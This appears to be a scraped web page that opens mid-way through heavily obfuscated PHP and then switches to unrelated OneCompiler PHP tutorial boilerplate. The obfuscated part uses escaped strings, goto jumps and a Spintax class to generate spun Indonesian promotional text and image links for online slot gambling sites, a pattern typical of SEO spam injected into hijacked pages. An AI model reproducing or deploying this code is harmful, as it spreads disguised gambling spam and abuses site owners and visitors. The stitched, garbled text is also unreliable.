64\x69\x70\x65\162\x63\x61\171\141\174\x62\151\163\x61\40\144\151\160\145\x72\x63\x61\x79\141\x7c\144\141\x70\x61\164\x20\144\151\160\x65\162\x63\141\171\x61\175\x20\x7b\x73\x65\x62\x61\147\x61\151\x7c\141\x64\141\154\x61\150\175\40\173\164\x65\155\160\141\x74\x20\x75\156\164\x75\153\40\x62\145\x72\155\141\x69\x6e\175\40\x73\154\157\x74\40\173\x70\141\154\x69\156\x67\x20\x64\x69\160\145\162\x63\x61\171\x61\174\x62\x69\163\141\x20\144\151\160\x65\x72\x63\141\x79\x61\x7c\x64\x61\160\141\x74\x20\x64\151\160\x65\x72\x63\x61\171\141\x7d\56\x20\x7b\113\141\162\x65\x6e\141\174\x53\145\142\x61\142\174\x4c\141\x6e\x74\x61\x72\x61\x6e\175\x20\153\141\155\x69\x20\x7b\163\x69\141\x70\x6b\141\156\174\x73\141\x6a\151\x6b\141\156\x7d\40\173\142\145\162\155\141\143\141\x6d\x2d\x6d\x61\x63\x61\155\x7c\142\x65\x72\141\x6e\145\153\x61\40\x6d\157\x64\145\x6c\x7c\x61\156\145\x6b\141\40\155\x61\x63\x61\155\x7c\141\x6e\145\x6b\141\x20\142\x65\156\164\x75\x6b\175\40\x70\x65\162\x6d\x61\151\x6e\141\156\x20\173\153\157\x6d\x70\x6c\145\x74\175\54\40\x6c\145\x62\x69\x68\x20\173\x64\x61\164\141\156\x67\40\144\141\162\x69\174\x61\x73\x61\154\x20\x64\141\162\151\x7c\x62\145\162\x61\x77\141\x6c\40\144\x61\x72\151\175\x20\62\60\60\x20\x70\x65\x72\155\x61\151\156\141\x6e\x20\x61\x64\x61\40\x7b\144\141\x6e\174\163\x65\162\164\x61\175\x20\x7b\150\141\x6e\171\x61\174\143\x75\x6d\x61\x6e\x7c\163\145\153\145\144\141\x72\x7d\40\173\144\141\160\141\164\x7d\40\x64\x69\x62\165\153\141\x20\x62\145\x72\x73\141\x6d\x61\40\x64\145\156\147\141\x6e\x20\x31\x20\173\141\x6b\x75\x6e\175\40\x49\104\x2e\x20\x7b\144\x61\x70\x61\x74\40\x6d\145\155\x61\x69\156\153\141\x6e\x7c\142\151\x73\141\x20\155\145\155\x61\151\156\x6b\141\x6e\175\40\x7b\163\145\160\145\x6e\165\x68\x6e\171\141\x7c\163\x65\154\x75\162\x75\x68\156\x79\x61\175\x20\x7b\163\141\x61\x74\x7c\167\141\153\164\x75\175\40\x61\156\x64\141\x20\173\155\145\155\x69\x6c\151\x6b\x69\x7c\x6d\145\x6d\x70\165\x6e\171\x61\151\174\160\165\x6e\171\x61\x69\x7d\40\x69\x64\40\147\x61\x6d\x65\x2e\40\101\x67\145\x6e\40\x53\154\157\164\40\173\x73\165\x64\x61\x68\40\160\x61\163\164\x69\174\x74\x65\156\164\165\x7c\164\x65\156\164\165\x6e\x79\x61\174\x70\x61\163\x74\x69\x6e\x79\x61\175\x20\173\x6d\x65\155\151\x6c\x69\x6b\x69\x7c\x6d\151\x6c\151\153\151\174\160\165\x6e\x79\x61\x7c\x70\165\x6e\x79\141\x69\x7d\40\x72\141\x74\x65\x20\x6b\x65\x6d\145\156\141\156\x67\141\156\40\173\171\x61\x6e\x67\40\x69\144\145\x61\x6c\x7c\171\141\x6e\x67\x20\x6c\x61\x79\141\153\x7c\171\x61\x6e\x67\40\143\x75\153\165\160\x7d\40\142\x65\163\141\162\x2e\x20\173\x4b\x65\x70\145\162\x63\x61\171\x61\141\x6e\175\x20\x7b\x73\x65\x6d\x75\141\174\163\x65\155\165\141\x6e\171\x61\174\x73\x65\154\165\x72\165\150\156\171\141\175\x20\173\x61\x6e\x67\x67\157\164\141\174\160\x65\x73\x65\x72\x74\x61\175\x20\173\x73\x65\x62\x61\x67\141\x69\174\x61\144\x61\154\141\150\175\x20\173\x73\141\x74\x75\175\40\x6b\165\156\143\x69\x20\x7b\163\x75\x6b\163\x65\x73\x7d\40\173\143\141\160\x61\151\174\147\141\160\x61\151\175\40\153\145\155\145\x6e\141\156\x67\141\156\x2e\40\101\x6e\x64\x61\40\173\x74\x69\x64\141\153\x7c\x74\x61\153\x7d\40\x7b\150\x61\x72\165\x73\175\x20\173\143\x65\x6d\141\163\x7c\162\x69\x73\x61\165\x7c\x77\141\x73\x77\141\163\x7c\160\141\x6e\151\153\x7d\40\x6b\141\x6d\151\x20\x7b\x61\153\141\x6e\174\142\x61\x6b\141\154\141\156\174\144\x61\x70\141\164\175\40\x7b\155\145\x6e\157\x6c\157\x6e\x67\175\x20\x7b\144\x61\x6e\174\152\x75\x67\x61\174\156\141\x6d\x75\156\40\152\x75\147\x61\x7c\163\145\x72\x74\x61\x7d\40\173\155\145\155\142\x65\162\151\x6b\x61\156\174\142\145\x72\x69\153\x61\156\x7c\155\145\155\x62\145\162\x69\x6e\171\x61\x7d\40\x74\x61\155\x62\x61\150\x61\x6e\40\173\163\145\x72\166\151\143\145\174\160\x65\x6c\x61\171\141\156\141\x6e\x7d\x20\x79\x61\x6e\147\40\173\164\x65\162\154\x61\154\165\175\40\173\x6d\141\153\163\x69\155\x61\x6c\174\x6d\x61\x6b\x73\151\155\165\155\x7c\151\156\164\145\x6e\163\x69\x66\175\x2e\x20\x7b\124\x65\x72\x67\x61\142\x75\x6e\x67\174\x4d\x61\163\x75\153\x7d\x20\142\145\162\163\x61\x6d\141\x20\144\x65\156\147\x61\x6e\40\x61\x67\145\x6e\40\x6a\165\x64\151\40\163\154\157\x74\x20\144\x65\x70\157\163\x69\164\x20\x70\x75\154\163\x61\40\173\163\141\150\x7d\40\173\x73\145\x62\141\147\x61\x69\x7c\141\x64\x61\154\141\x68\175\x20\x7b\163\x61\164\x75\175\x20\x7b\x70\x69\154\x69\x68\141\156\x7d\40\171\141\x6e\x67\x20\173\x68\141\162\x75\163\x7d\x20\x61\x6e\144\141\x20\173\143\157\142\x61\175\x20\x7b\153\141\162\145\156\141\174\163\x65\142\x61\x62\174\x6c\141\x6e\164\141\x72\141\x6e\175\40\x7b\153\x65\162\x69\x6e\x67\141\156\141\x6e\x7c\x6b\x65\x6c\165\141\163\x61\x61\x6e\x7c\153\145\x6c\x61\160\x61\156\x67\x61\156\175\x6e\171\x61\56\40\x7b\113\x61\x72\145\156\x61\x7c\123\145\x62\x61\142\174\114\141\x6e\x74\x61\162\x61\x6e\175\40\142\x65\x72\163\x61\155\x61\x20\144\145\x6e\x67\x61\156\x20\x7b\155\x65\155\x69\163\x61\150\x7c\155\145\x6d\142\141\x67\151\174\x6d\145\156\171\145\154\145\153\163\x69\x7d\x20\x53\x69\x74\x75\x73\40\173\163\x61\150\175\40\x73\x6c\157\x74\40\173\x70\x61\x6c\151\156\x67\x20\x64\x69\160\x65\162\x63\141\x79\x61\x7c\x62\151\163\x61\x20\x64\x69\160\x65\x72\143\x61\x79\141\x7c\x64\141\160\x61\164\40\x64\151\x70\145\162\143\x61\x79\x61\175\x20\x7b\x61\x6b\x61\156\x7c\x62\x61\153\141\154\141\x6e\174\x64\141\x70\x61\x74\175\x20\173\155\x65\155\142\x61\147\151\x7c\142\141\x67\151\x6b\x61\156\x7c\155\x65\x6d\142\x65\162\x69\x6b\141\156\174\x6d\x65\x6d\142\141\147\x69\153\x61\156\x6e\171\141\x7d\40\173\x62\x65\x62\x65\x72\141\160\x61\40\153\x65\x75\x6e\164\165\156\x67\141\x6e\x7c\x73\145\x6a\x75\155\154\141\150\40\x6b\145\x75\x6e\164\165\x6e\147\x61\156\x7d\x2e\40\x53\x69\164\x75\163\40\163\154\157\x74\40\x7b\x73\141\x68\175\x20\x7b\x61\153\141\156\x7c\x62\x61\x6b\x61\x6c\x61\156\174\144\x61\x70\141\164\x7d\x20\x7b\155\145\155\x69\x6b\165\x6c\x7d\40\153\x65\155\x65\156\x61\x6e\x67\141\156\x20\x6b\x61\x6c\151\141\156\x20\173\x74\x65\156\x74\x75\x7c\152\145\154\x61\x73\x7c\x6e\x79\141\164\x61\174\160\141\163\164\x69\x6e\171\x61\x7c\x70\x61\x73\164\151\x6c\141\150\175\40\173\141\153\141\x6e\x7c\x62\141\x6b\x61\154\141\156\174\x64\141\160\141\164\175\x20\x64\x69\40\142\141\x79\x61\162\40\x6c\x75\x6e\x61\163\56\x20\x7b\123\x65\155\x61\143\x61\x6d\x20\151\164\165\174\x42\x65\147\151\164\x75\x7c\x53\145\x73\x75\141\x69\40\x69\164\165\x7d\x20\171\141\x6e\147\40\173\x62\x61\x77\x61\175\x20\173\151\x6d\x62\x61\x73\174\x70\x65\156\x67\141\162\x75\x68\x7c\x65\146\x65\153\174\x72\x65\x73\x69\153\x6f\175\40\141\x67\x65\x6e\x20\x73\x6c\x6f\x74\40\x64\145\x70\157\163\x69\164\x20\x70\165\x6c\x73\x61\x20\x7b\163\x61\150\175\x20\173\x6a\141\144\x69\175\40\163\x75\155\x62\x65\162\x20\153\x65\155\145\x6e\141\x6e\x67\141\156\x20\171\x61\x6e\147\x20\x7b\x74\x65\x72\x6c\x61\x6c\165\175\x20\x64\x69\40\173\155\x65\155\151\x6e\x61\164\x69\x7c\164\145\x72\164\x61\162\x69\153\x7d\40\x7b\x6f\x6c\145\x68\x20\142\x65\x62\145\x72\x61\160\141\174\157\154\x65\x68\40\153\x65\x62\x61\x6e\x79\141\x6b\x61\x6e\174\157\x6c\x65\150\40\x62\x61\x6e\x79\141\x6b\x6e\171\141\x7d\40\x70\145\x6e\x6a\x75\x64\x69\x20\x49\156\x64\x6f\x6e\x65\163\x69\x61\x2e\x20\x42\165\141\x74\x20\173\x79\x61\156\147\x7c\171\141\x6e\147\40\x6c\x61\147\x69\x7c\171\x61\x6e\x67\40\164\x65\156\147\x61\150\175\x20\173\x6d\145\x6e\x63\141\x72\151\174\x6d\x65\x6e\x65\154\x75\x73\x75\162\174\154\x61\143\x61\153\x7d\40\x61\x67\x65\x6e\40\163\154\157\x74\40\173\x73\x61\150\175\40\141\x6e\144\x61\x20\x7b\144\141\160\x61\164\x7d\40\173\155\145\156\x63\x61\162\x69\174\x6d\145\156\x65\154\x75\163\165\162\174\x6c\141\x63\x61\153\175\x20\x64\x69\x20\x67\x6f\157\x67\x6c\x65\x20\142\x65\162\163\x61\x6d\x61\x20\144\x65\156\147\141\x6e\x20\x7b\x67\x75\156\141\x6b\x61\x6e\x7c\x70\x61\x6b\x61\151\x7d\40\173\x6b\145\x79\x77\x6f\162\144\174\x6b\x61\x74\141\x20\x72\x61\x68\x61\163\x69\141\x7d\x20\74\141\40\150\162\x65\x66\75\42\42\76\x61\x67\x65\x6e\40\x73\x6c\x6f\x74\x20\162\145\x73\155\x69\74\x2f\x61\x3e\56\x20\x7b\123\x65\x72\x76\x69\163\x7c\x53\x65\x72\x76\151\143\x65\x7c\x4c\x61\171\x61\x6e\x61\156\x7d\40\173\164\x65\x72\x62\141\x69\x6b\174\x73\141\x6e\x67\141\x74\x20\x62\141\151\153\x7c\160\141\x6c\x69\156\x67\x20\x62\x61\147\x75\163\x7d\40\173\144\141\164\x61\156\147\x20\144\x61\162\x69\174\x61\x73\x61\154\x20\144\141\x72\x69\174\x62\x65\162\141\x77\x61\154\x20\144\141\x72\x69\175\x20\141\147\x65\x6e\x20\x73\x6c\157\164\40\144\145\160\x6f\x73\x69\164\40\x70\x75\x6c\x73\x61\40\x7b\x74\145\x72\154\141\154\x75\175\x20\x7b\x70\162\157\x66\x65\x73\x69\x6f\156\141\x6c\x7d\x2e\74\57\x70\x3e\74\160\x3e\102\141\156\171\x61\x6b\x20\x7b\x6b\x65\154\x6f\155\160\x6f\x6b\x7c\147\162\165\160\x7c\x67\x72\x6f\x75\160\x7d\x20\173\x70\x65\156\x63\151\156\164\141\x7c\160\x65\156\x67\147\x65\155\141\x72\x7c\160\145\156\x79\165\x6b\141\175\40\173\152\141\144\x69\x6b\141\x6e\x7c\x62\x69\153\151\156\x7c\142\x75\x61\x74\x7c\155\x65\155\x62\165\x61\164\175\x20\x73\154\x6f\164\40\x70\165\154\163\x61\x20\155\145\156\143\x61\144\151\40\x70\x65\162\155\x61\151\156\x61\156\x20\171\141\156\147\x20\146\141\x66\x6f\162\151\164\x2c\x20\x7b\x74\x65\x72\x6c\145\x62\x69\150\175\40\x73\154\x6f\x74\40\x67\x61\x63\157\x72\x20\173\155\x75\144\141\150\174\162\151\x6e\x67\141\x6e\174\147\x61\x6d\x70\x61\156\x67\x7d\40\x73\145\153\141\x6c\x69\x20\x7b\155\145\155\x70\x65\x72\157\154\x65\x68\x7c\x6d\145\156\x64\x61\x70\x61\164\174\155\145\156\x64\141\x70\141\164\x69\x7d\40\173\x6b\x65\165\x6e\164\165\156\147\x61\156\x20\x79\141\x6e\147\40\142\x65\x73\x61\162\174\153\x65\165\156\164\x75\156\147\x61\156\x20\x62\x61\156\x79\141\x6b\174\x6b\145\x75\156\164\165\156\147\141\x6e\x20\171\x61\156\x67\x20\142\x61\x6e\171\x61\153\x7d\40\173\x64\151\x20\163\151\x6e\151\174\144\151\x20\x74\x65\155\x70\141\164\40\151\156\x69\175\56\40\x4b\x61\155\x75\40\x7b\142\x65\x72\160\x65\154\165\141\156\x67\174\x6d\x65\x6d\151\154\x69\x6b\151\x20\153\x65\163\145\155\x70\x61\164\141\156\174\155\x69\154\151\x6b\151\40\x6b\x65\163\145\x6d\x70\141\x74\141\156\x7c\x70\x75\x6e\171\x61\40\153\145\x73\x65\155\x70\141\x74\141\156\x7d\x20\173\155\145\x6d\160\x65\162\x6f\154\x65\x68\x7c\x6d\145\x6e\144\141\x70\x61\164\174\155\145\156\x64\141\160\141\164\151\x7d\x20\x6b\x65\x6d\145\x6e\x61\x6e\147\141\x6e\x20\173\160\141\154\x69\156\147\x20\x62\145\163\141\162\175\40\x7b\x6b\145\164\x69\x6b\141\x20\x62\x65\x72\155\x61\151\x6e\175\40\x73\x6c\x6f\x74\x20\54\40\141\x6e\144\141\x20\173\x68\x61\156\171\x61\x7c\x63\165\x6d\x61\x6e\x7c\x73\145\x6b\x65\x64\141\162\x7d\40\173\155\x65\155\x65\162\154\165\x6b\141\x6e\x7c\x62\x75\164\165\x68\x7c\x70\145\162\x6c\x75\x7d\x20\x7b\153\x65\x74\x65\162\141\155\x70\151\x6c\141\156\x7c\153\145\x61\150\x6c\151\141\156\x7d\x20\x7b\153\145\164\x69\x6b\141\x20\142\x65\162\x6d\141\x69\x6e\175\x20\x73\x6c\157\x74\x2e\x20\x4b\141\155\165\x20\x7b\150\141\x72\165\163\x7d\40\143\157\142\141\x20\x6d\145\x6e\x6a\141\154\141\153\141\x6e\x20\x7b\160\145\162\165\x6e\x74\x75\x6e\x67\141\156\x7c\x68\x6f\x6b\x69\x7d\x20\x6b\x65\x75\x6e\164\165\x6e\147\x61\x6e\40\173\165\x61\156\x67\174\x64\165\x77\151\x74\x7d\40\x61\x73\154\151\56\x20\113\x61\155\x75\x20\x7b\x64\141\x70\x61\164\175\x20\173\143\151\x63\x69\160\x69\x7c\162\141\x73\x61\153\x61\156\175\40\142\x65\162\155\x61\x63\x61\155\55\x20\x7b\152\145\156\x69\x73\174\x72\x61\x67\141\155\175\x20\173\153\x65\162\151\156\147\141\x6e\x61\x6e\x7c\x6b\145\x6c\x75\x61\x73\141\x61\x6e\174\153\145\154\141\x70\x61\x6e\147\x61\156\x7d\40\x7b\144\141\x74\141\x6e\x67\40\x64\141\162\151\x7c\x61\x73\141\154\x20\144\x61\x72\x69\174\142\x65\162\141\x77\141\154\40\x64\141\x72\x69\x7d\x20\173\142\145\x72\x6d\x61\x69\156\x7c\x6d\141\x69\156\x7d\40\152\165\x64\151\40\x73\x6c\x6f\164\x20\x64\145\x70\x6f\x73\151\164\x20\160\165\154\163\x61\56\40\x7b\120\145\162\157\x6c\x65\150\174\124\145\155\165\153\141\x6e\x7d\40\153\x65\155\145\156\141\156\x67\141\156\40\173\144\141\x6e\x7c\152\165\147\x61\x7c\x6e\x61\x6d\x75\156\40\x6a\165\x67\x61\x7c\x73\145\162\164\x61\x7d\40\x7b\x6a\145\153\160\x6f\164\x7d\x20\x79\141\x6e\x67\40\x62\145\163\141\x72\40\x7b\x64\x69\x20\144\x61\x6c\141\155\174\x64\x61\x6c\x61\x6d\x7c\x70\141\x64\x61\x7d\40\173\x73\145\x74\x69\141\x70\174\x74\151\x61\160\x2d\164\x69\141\160\x7d\x20\173\x70\x65\x72\160\x75\x74\141\162\141\x6e\175\x20\173\x61\164\141\x75\x7c\x6d\141\165\x70\x75\x6e\175\x20\x73\160\x69\156\40\x70\x65\162\155\141\151\x6e\x61\x6e\x20\x73\154\x6f\164\156\x79\x61\x2e\74\57\x70\76\74\160\76\74\141\x20\150\162\145\146\75\42\x22\x3e\x53\151\x74\x75\x73\x20\112\x75\144\151\x20\123\x6c\x6f\164\x20\104\145\160\157\x73\151\164\40\120\165\154\163\x61\40\x31\x30\40\122\151\142\x75\x3c\57\141\76\40\173\x73\x65\x62\x61\x67\141\x69\174\x61\144\x61\154\x61\150\x7d\x20\x7b\x70\141\156\147\147\x69\154\141\x6e\174\151\x73\164\x69\154\x61\x68\x7d\40\x7b\142\x65\x62\x65\162\141\160\141\x7c\x62\x61\156\171\141\x6b\x7d\x20\x7b\141\x6e\147\x67\x6f\x74\x61\174\160\145\x73\145\x72\x74\141\175\40\x7b\165\156\x74\165\153\x7c\x62\165\x61\164\x7d\x20\147\141\155\145\x20\x73\x6c\x6f\x74\x20\x64\x65\160\x6f\x73\151\x74\40\x70\165\x6c\163\x61\x20\164\x61\x6e\160\x61\x20\160\157\x74\x6f\x6e\x67\141\x6e\40\x7b\x74\x65\162\x62\x61\x69\153\x7c\163\141\156\147\141\164\40\142\x61\x69\x6b\174\x70\x61\x6c\x69\x6e\x67\40\142\141\147\165\x73\x7d\x20\173\144\x61\156\174\163\x65\162\x74\141\175\x20\x7b\160\x61\x6c\x69\156\x67\x20\x64\x69\160\145\x72\x63\x61\171\x61\x7c\x62\x69\163\141\x20\144\151\x70\x65\x72\x63\141\171\141\x7c\x64\141\x70\141\x74\40\x64\151\x70\145\162\143\x61\171\141\175\40\156\x6f\155\x6f\x72\x20\x31\x20\x7b\160\x61\x64\x61\40\x74\x61\x68\165\x6e\175\x20\62\60\x32\62\40\x79\x61\x6e\147\40\x7b\155\x75\144\x61\x68\x7c\162\x69\x6e\x67\x61\x6e\x7c\147\x61\155\x70\x61\x6e\x67\x7d\40\x6d\145\x6e\141\x6e\147\40\173\163\x75\144\141\150\40\160\x61\x73\164\151\x7c\164\145\x6e\164\165\174\x74\145\156\164\x75\x6e\x79\141\174\x70\x61\x73\164\x69\x6e\x79\141\175\40\173\x6d\x75\x64\x61\x68\174\x72\x69\156\147\141\156\174\147\x61\x6d\160\x61\x6e\x67\x7d\x20\173\152\x65\x6b\x70\x6f\164\175\40\x7b\144\x61\156\174\152\165\x67\x61\x7c\x6e\x61\155\x75\x6e\40\152\x75\147\141\174\163\145\162\164\141\x7d\x20\x62\145\164\x20\153\x65\x63\x69\154\40\x7b\x64\x61\160\141\x74\x7d\40\x6d\x65\x6e\x61\156\x67\40\x62\145\163\141\162\x2e\40\x42\x6f\143\157\162\141\x6e\40\147\x61\155\145\x20\x73\x6c\x6f\164\x20\x67\x61\x63\x6f\162\x20\x7b\152\x61\x64\151\x7d\x20\x7b\151\156\x66\157\174\x69\x6e\146\x6f\x72\x6d\x61\163\151\175\40\173\x75\164\x61\x6d\141\x20\144\x69\174\x6b\x72\x75\x73\151\x61\x6c\40\144\x69\x7d\40\173\153\x65\154\x6f\x6d\160\157\153\174\x67\x6f\x6c\x6f\x6e\147\x61\156\x7d\40\173\x61\x6e\147\147\157\x74\x61\174\x70\145\163\145\162\164\x61\175\x20\x7b\x6b\141\162\145\156\x61\174\x73\x65\142\x61\142\x7c\x6c\x61\x6e\164\x61\162\x61\x6e\x7d\x20\173\163\x75\144\141\150\x7c\165\144\141\x68\x7d\x20\x7b\142\151\x73\x61\40\x64\151\x62\165\153\164\x69\153\x61\156\x7c\144\141\x70\x61\x74\40\144\x69\142\x75\x6b\x74\x69\x6b\x61\156\174\x62\x69\x73\x61\x20\x74\145\162\142\x75\153\164\x69\x6b\x61\156\175\x20\x7b\155\145\155\142\145\x72\x69\153\141\156\174\142\x65\162\151\x6b\141\x6e\x7c\155\145\155\142\x65\162\151\156\171\x61\175\40\x74\141\155\142\x61\150\141\156\x20\x62\x61\156\171\141\153\40\x6b\145\x6d\145\156\141\156\x67\x61\x6e\x2e\x20\173\123\145\x6d\x75\141\x7c\123\x65\x6d\165\141\x6e\171\x61\x7c\x53\145\154\x75\162\x75\150\x7c\123\145\x6c\165\x72\x75\x68\156\x79\x61\x7d\40\x74\x61\x72\x75\150\141\x6e\x20\x64\x69\40\163\x6c\157\x74\x20\x67\x61\x63\x6f\x72\x20\x7b\x61\164\x61\x75\x7c\141\x74\141\x75\160\165\x6e\175\x20\163\154\157\x74\40\173\155\x61\x6e\x66\141\x61\164\x6b\x61\156\x7c\155\145\x6d\x61\x6b\141\151\x7c\x6d\x65\156\x67\x67\165\156\x61\x6b\x61\x6e\175\40\173\165\x61\x6e\x67\174\144\165\x77\x69\164\x7d\40\141\x73\x6c\151\40\x72\165\160\x69\x61\x68\x2e\74\x2f\x70\76"; goto PbvFA; YnLsA: class Spintax { public function process($text) { return preg_replace_callback("\x2f\x5c\x7b\x28\50\50\77\76\x5b\136\x5c\173\134\x7d\135\53\x29\x7c\50\x3f\122\51\x29\52\77\51\x5c\x7d\x2f\x78", array($this, "\x72\145\160\x6c\141\x63\x65"), $text); } public function replace($text) { $text = $this->process($text[1]); $parts = explode("\174", $text); return $parts[array_rand($parts)]; } } goto r2tYS; r2tYS: $spintax = new Spintax(); goto UZAja; ZPAkh: $deskripsi = "\173\104\141\146\x74\141\162\174\113\165\x6d\x70\x75\x6c\x61\156\174\116\141\155\141\174\122\x65\x6b\x6f\x6d\145\156\144\x61\x73\151\175\x20\173\123\151\164\x75\163\174\x4c\x69\x6e\153\174\x41\147\x65\x6e\174\x42\141\x6e\x64\x61\162\174\x42\157\x7d\40\x7b\x4a\165\x64\151\x20\117\x6e\x6c\x69\156\145\x7c\123\x6c\157\164\40\117\x6e\154\x69\x6e\145\x7c\x4a\165\144\x69\40\123\154\x6f\x74\x20\117\x6e\x6c\x69\x6e\x65\x7c\x53\x6c\x6f\164\40\112\x75\144\151\x20\x4f\x6e\x6c\x69\156\x65\175\40\104\145\160\157\x73\151\164\x20\x50\165\x6c\163\141\x20\x54\141\156\160\x61\40\120\157\164\157\x6e\147\141\156\x2c\40\173\x53\151\x74\x75\x73\174\x4c\x69\x6e\x6b\x7c\x41\147\x65\156\x7c\x42\x61\x6e\x64\x61\x72\174\102\157\x7d\40\x53\154\x6f\x74\40\120\165\x6c\163\141\x20\x7b\x54\x65\162\x70\x65\x72\x63\x61\x79\x61\174\124\x65\162\142\141\x69\153\174\124\x65\162\x70\157\160\165\x6c\145\x72\x7c\120\141\154\151\x6e\147\x20\107\141\x63\x6f\162\174\x54\x65\x72\153\x69\156\x69\x7c\x32\x30\62\62\175\40\x44\151\40\x49\156\144\x6f\156\145\163\151\141\56\40\x50\x69\x6c\x69\150\141\x6e\x20\x74\145\x70\x61\164\x20\x62\145\x72\x6d\x61\151\156\40\163\154\157\164\40\x6f\x6e\154\x69\156\145\x20\144\x65\x70\x6f\163\151\x74\40\x70\165\x6c\x73\x61\40\164\x61\156\160\x61\x20\160\157\164\x6f\x6e\147\141\156\x2e"; goto ouddo; ouddo: $gambar = "\173\150\x74\x74\160\x73\x3a\x2f\x2f\x69\x2e\151\142\x62\x2e\143\157\x2f\112\172\102\x66\66\x77\163\57\x70\162\157\156\151\x62\x75\x6e\x67\56\152\x70\147\x7c\x68\164\164\160\x73\72\x2f\x2f\x69\x2e\151\142\142\x2e\x63\157\57\104\147\113\124\x64\x57\156\x2f\x70\162\157\x62\x6e\x69\142\x75\156\x67\x32\56\152\160\147\x7c\150\x74\x74\x70\x73\x3a\57\x2f\151\x2e\x69\x62\x62\x2e\x63\157\57\161\131\x42\170\x4d\x35\64\57\160\162\x6f\x6e\x69\x62\165\156\x67\63\56\152\x70\x67\x7d"; goto S51H9; UZAja: $title = "\173\104\x61\x66\x74\141\x72\x7c\x4b\x75\155\x70\x75\154\x61\156\x7c\116\x61\x6d\x61\x7c\122\145\153\157\x6d\145\156\x64\x61\x73\151\175\40\173\123\x69\x74\165\163\x7c\114\x69\x6e\x6b\174\101\147\145\x6e\174\102\141\156\144\x61\x72\174\x42\157\175\40\x7b\x4a\x75\144\151\40\117\x6e\x6c\x69\156\x65\x7c\x53\x6c\157\164\40\117\156\154\x69\x6e\x65\x7c\112\x75\x64\x69\x20\x53\154\x6f\164\x20\x4f\156\154\151\156\x65\174\123\154\x6f\164\40\x4a\x75\x64\151\x20\x4f\156\154\151\156\x65\175\40\104\145\160\157\163\x69\164\40\120\x75\154\163\141\40\124\141\156\160\141\40\120\157\164\157\156\x67\141\x6e\40\x7b\124\x65\x72\160\145\162\x63\x61\x79\x61\x7c\x54\x65\162\x62\141\x69\153\x7c\124\x65\162\160\x6f\160\x75\x6c\145\162\x7c\120\141\154\151\156\147\40\107\141\x63\x6f\x72\x7c\x54\x65\x72\153\151\x6e\151\x7c\x32\60\x32\62\x7d"; goto ZPAkh; PbvFA: ?>
 

PHP Online Compiler

Write, Run & Share PHP code online using OneCompiler's PHP online compiler for free. It's one of the robust, feature-rich online compilers for PHP language, running on the latest version 7. Getting started with the OneCompiler's PHP compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as PHP and start coding.

Taking inputs (stdin)

OneCompiler's PHP online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample PHP program which takes name as input and prints hello message with your name.

<?php
	fscanf(STDIN, "%s\n", $name);           
    echo "Hello ".$name.".\n";
?>

About PHP

PHP(Hypertext Preprocessor) is widely used server sripting language by Rasmus Lerdorf in the year 1994.

Key features

  • Free
  • powerful tool for making dynamic and interactive web pages
  • can integrate with almost all popular databases like MySQL, PostgreSQL, Oracle, Sybase, Informix, Microsoft SQL Server etc.
  • C like Syntax and easy to learn.
  • Object oriented scripting language.
  • easily embeddable into HTML
  • Loosely typed language.

Syntax help

Variables

In PHP, there is no need to explicitly declare variables to reserve memory space. When you assign a value to a variable, declaration happens automatically. Variables are case-sensitive in PHP.

$variable_name = value;  

Loops

1. IF Family:

If, If-else, Nested-Ifs are used when you want to perform a certain set of operations based on conditional expressions.

If

if(conditional-expression){    
//code    
} 

If-else

if(conditional-expression){  
//code if condition is true  
} else {  
//code if condition is false  
} 

Nested-If-else

if(condition-expression1) {  
    //code if above condition is true  
} elseif(condition-expression2){  
    //code if above condition is true  
}  
elseif(condition-expression3) {  
    //code if above condition is true  
}  
...  
else {  
    //code if all the conditions are false  
}  

2. Switch:

Switch is used to execute one set of statement from multiple conditions.

switch(conditional-expression) {    
case value1:    
 // code if the above value is matched    
 break;  // optional  
case value2:    
 // code if the above value is matched    
 break;  // optional  
...    
    
default:     
 // code to be executed when all the above cases are not matched;    
} 
 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  // code  
} 

For-each:

// you can use any of the below syntax
foreach ($array as $element-value) {  
    //code  
}

foreach ($array as $key => $element-value) {   
    //code 
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition) {  
 // code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {
  // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity.

How to define a Function

function function_name(parameters) {  
  //code
}

How to call a Function

function_name (parameters)